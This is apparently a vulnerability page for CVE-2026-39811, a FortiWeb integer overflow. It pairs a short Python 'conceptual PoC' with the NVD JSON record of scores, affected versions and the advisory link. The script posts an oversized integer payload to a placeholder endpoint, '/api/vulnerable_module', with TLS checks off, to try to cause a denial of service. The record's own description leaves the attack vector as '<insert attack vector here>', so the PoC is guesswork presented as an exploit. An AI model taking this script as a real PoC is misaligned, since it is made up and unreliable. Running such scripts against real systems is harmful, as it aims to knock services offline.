CVE-2026-39811

#!/usr/bin/env python3 """ Conceptual PoC for Integer Overflow in FortiWeb (CVE-2026-39811) Note: This is a generic example demonstrating the payload structure. Actual exploitation requires valid high-privileged credentials. """ import requests import sys target = sys.argv[1] token = sys.argv[2] # High-privilege API token url = f"{target}/api/vulnerable_module" headers = {"Authorization": f"Bearer {token}"} # Payload designed to trigger integer wraparound payload = { "buffer_size": 2147483648, # 2^31, may cause overflow on signed 32-bit int "offset": -1 } try: r = requests.post(url, json=payload, headers=headers, verify=False, timeout=5) print(f"Request sent. Status: {r.status_code}") except requests.exceptions.RequestException as e: print(f"Service appears unresponsive (DoS likely triggered): {e}")

{"cve": {"id": "CVE-2026-39811", "sourceIdentifier": "[email protected]", "published": "2026-04-14T16:16:45.310", "lastModified": "2026-04-21T17:16:24.933", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A integer overflow or wraparound vulnerability in Fortinet FortiWeb 8.0.0 through 8.0.3, FortiWeb 7.6.0 through 7.6.6, FortiWeb 7.4 all versions, FortiWeb 7.2 all versions, FortiWeb 7.0 all versions may allow attacker to denial of service via <insert attack vector here>"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndIncluding": "7.0.13", "matchCriteriaId": "1616A048-AEA1-4340-B208-9DECD688C5E0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.2.0", "versionEndIncluding": "7.2.13", "matchCriteriaId": "DCAF1C24-6077-4396-A5C8-90C96C795D6A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndIncluding": "7.4.12", "matchCriteriaId": "C68859A1-DA8E-4363-A174-0D53BD0B5625"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndExcluding": "7.6.7", "matchCriteriaId": "15C9CDE3-FE6F-4946-A3DC-FDD7A5F99D65"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.4", "matchCriteriaId": "9C922491-BA4C-48DF-8697-8FE742FDA39B"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-108", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}